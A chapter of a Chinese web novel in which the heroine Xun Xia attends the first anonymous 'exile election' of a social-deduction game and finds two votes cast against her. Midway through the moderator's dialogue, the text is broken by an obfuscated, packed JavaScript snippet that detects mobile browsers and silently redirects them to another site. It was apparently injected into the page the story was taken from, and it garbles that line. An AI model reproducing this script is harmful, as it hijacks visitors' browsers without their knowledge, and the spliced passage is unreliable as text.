“小夏,你的伤口应该已经愈合了吧?没留疤吧?”栗娜拉着她在自己身旁的空位坐下,第一件事就是去看她的太阳穴。 “完全没有,光洁如新哦。” “那就好那就好。”栗娜喝了一小口面前的红茶,压低的声音里带着担忧,“可算是等到你了!你都不知道,刚才我下来之后,听到好多人都在偷偷讨论你!” “讨论我?”寻夏皱眉,“我以为大家会更关心塞缪尔。” 栗娜撇撇嘴,把茶杯放下:“塞缪尔是完了,但他已经被教廷的人带走了呀。现在留在这里的,可都是游戏的参与者,况且又是在第一次放逐选举这种特殊的时间点。” “有不少人都在说,你和塞缪尔、监察官还有塞巴斯蒂安,都关系匪浅。”栗娜一拍大腿,继续道,“真不知道是怎么传出来的!” 看着她义愤填膺的样子,寻夏怀疑,“关系匪浅”大概已经是栗娜美化过后的用词。那些嚼舌的原话,可能还要更难听一些。 寻夏思考了几秒,觉得实在是有点好笑。 “关系匪浅,又如何呢?”她似笑非笑地反问,语气听起来十分理所当然。 栗娜显然没料到寻夏会这么说,张着嘴愣了一瞬。在一瞬过后,她的眼中升起种种复杂的情绪,但最终她还是咬了咬牙,把本想说出口的长篇大论咽了回去。 栗娜忽然拉过寻夏的手拍了拍,像祖母嘱咐孙女一样。寻夏虽然莫名,但还是冲她一笑,也拍了拍她的手,带着宽慰的意思。 随后,她若无其事地转头,目光落回了大厅中央。 身前的长桌上,各色菜肴摆放得错落有致。从开胃冷盘到主菜汤品,应有尽有一应俱全,色泽鲜艳还冒着热气,让人食指大动。 然而寻夏想到的却是邮件里的那句,“离开的玩家需要支付至今为止参与所有活动的相关费用”。也不知道这一大桌山珍海味平摊到每个人头上,需要多少信用点。 她扫了一圈,视线掠过长桌,向左边看去。临渊靠在长桌尽头的座椅旁,但没有坐下。他低头对终端说着什么,大概是在处理工作。 在他的座椅后方,多出了一间用厚重黑布围起来的、类似试衣间的小黑屋。小黑屋旁,则是矗立着一块大而薄的显示屏,屏幕一片漆黑,映出前方众人活动的影子。 墙上的时钟,走到了竖直一线的六点整。 大厅四角的音响里传来肃穆的钟声,在几十双耳朵之间回荡,盖过了彼此窃窃的低语。 气氛忽然就冷了下来。 “第一次放逐选举,正式开始。”临渊放下了手中的终端,单手搭在椅背上,抬眼环视全场,唯独避开了寻夏所在的方位。 但寻夏没有发现,她的注意力全在那块显示屏上。 随着临渊的话音落下,他身后那块巨大的显示屏骤然亮起。屏幕上清晰地显示出三十位玩家的登记照片和姓名,每行五人,一共列了六行。每位玩家的姓名下面,还有一块展示票数的区域。 栗娜在第一行,柏砚和塞巴斯蒂安在第二行,启明在第三行,拉蒙在第四行,她在这个游戏里熟悉的人就这么多。 对了,还有她自己,她在最后一行。 此刻,所有数字还是整齐划一的“0”,但众人都心知肚明,用不了多久,这些数字就会发生变化,决定某个人或是某些人的命运。 “我是第一组诶。”栗娜托着脸,歪过头对寻夏说。 寻夏笑起来:“你打头,我殿后,好巧。” “规则已经通过邮件告知各位,”临渊又恢复了一贯的少言寡语,言简意赅道,“按照屏幕上的顺序,一行五人为一组,依次进入黑箱,使用投票器投票并留言。”他举起一个形似手表表盘的黑色物件,那大概就是他所说的投票器。 “没有轮到的玩家,可以自行就餐、活动。” 听到就餐两个字,寻夏的视线又回到了面前色香味俱全的饭菜上。她的右手已经蠢蠢欲动,要去拿手边的刀叉。 临渊背过身,看向显示屏上第一排的名字,沉声念道:“第一组,孟瑾瑜,栗娜,爱丽丝,彦林,金成勋。” 第一组,一切都还是未知数。被点到名字的五人神情都还算平静,但在平静中又带着点兴奋,兴奋中又带着点紧张。 “我去了哦!”栗娜起身,离开前,又捏了捏寻夏的手。 寻夏摊开手掌,看了看手心,又看了看手背,依然不明所以。 栗娜今晚是怎么了?她除了听到那些人议论自己和三个男人关系匪浅,还听到了什么别的吗? 寻夏的视线追随着栗娜的背影,一路走向长桌尽头。 五人按照被念到名字的顺序,在小黑屋门口排好队。第一个叫孟瑾瑜的,是个看起来二十出头的男青年。他一头黑色短发,戴黑框眼镜,瘦瘦高高,看起来很斯文。 “输入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558108|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你认为是赝品的玩家姓名,可以留言陈述理由。”临渊坐下来,把投票器推向他的方向。 “可以不陈述理由吗?”孟瑾瑜温和地笑了笑,问道。 “可以。” 他颔首,拿起投票器,走进小黑屋。黑色的帘布重新落下,严严实实地隔绝了所有的视线、动作还有声响。 不在这一组的玩家们,虽然被允许自行就餐、活动,但大多数人只是象征性的拿起餐具,心不在焉地拨弄着盘中的食物,眼神不住地瞟向沉默的黑箱和巨大的显示屏,各怀心思地等待着第一次投票的结果。 当然,寻夏不属于大多数人。 有这个时间想东想西,不如多吃两口美食来得实在,反正无论是焦虑、期待还是惴惴不安,都不会改变小黑屋中投票的结果。 她拿起刀叉,切了一小块嫩煎的鱼肉送入口中。 孟瑾瑜的动作还算快,大概过了两三分钟,寻夏刚咽下鲜香的鱼肉,他就从小黑屋中走了出来。 他保持着和进去前别无二致的温和笑容,将手中的投票器递给了栗娜。 栗娜走进小黑屋之前,远远向寻夏投去一眼。寻夏举起银叉,微笑向她致意。 再接着,是爱丽丝、彦林和金成勋。 金成勋掀开帘布,将投票器交还给临渊,五人又依次回到自己的座位。 临渊的手指在终端上滑动,眉心几不可察地一皱。 就在他们落座的瞬间,显示屏上的数字突然滚动起来,齐齐开始刷新。 栗娜双眼一眨不眨地注视着大屏,滚动的数字渐渐停下,原本整齐的“0”被打破,出现了两个不一样的数字。 寻夏刚切下一段松茸,抬眼随意望向屏幕,下一秒,她的动作微微一顿。 显示屏上,安德雷的名字下方,赫然写着一个数字“3”。 而最后一行,“寻夏”两个字下方,数字同样发生了变化——不是整齐的“0”,而是格格不入的“2”。 寻夏将刀叉交叠,放回盘中。 长桌上掀起一阵压抑不住的低语声,十数道目光再次汇聚到寻夏身上,这一次,她嗅到了幸灾乐祸的味道。 “完了,他们说的是真的。”栗娜抓皱了裤腿,口中喃喃。 “他们?”寻夏淡淡开口。 “你没下来的时候,我还听到有人在说、在说,”栗娜抿了抿嘴,“要先把你投出去。” “我一开始还以为,他们只是说着玩的,过个嘴瘾。” “他们说,不清楚你的来历、背景,你又——” “我又招摇、放肆,还和好几个有钱、有权或者有色的男人关系匪浅,对吗?”寻夏扭头,平静地与栗娜对视。 “我本来觉得,小夏你没听到这些难听的话也挺好的。”反倒是栗娜不知所措,右手悬在半空,“我也不知道,该怎么开口和你说这些。” 寻夏其实能理解他们。想要按死一个爱出风头的、不明来历的,又对自己有威胁的人,匿名投票就是最好的机会。 可安分守己不是正确,张扬恣意也不是错误。她不觉得自己有哪里做错了。 属于她的烈火,决不会被流言与侧目熄灭。 “小夏,我没有投你,我投的是安德雷。”栗娜又添了一句,“我们约好的。” 寻夏笑了笑,没有说话。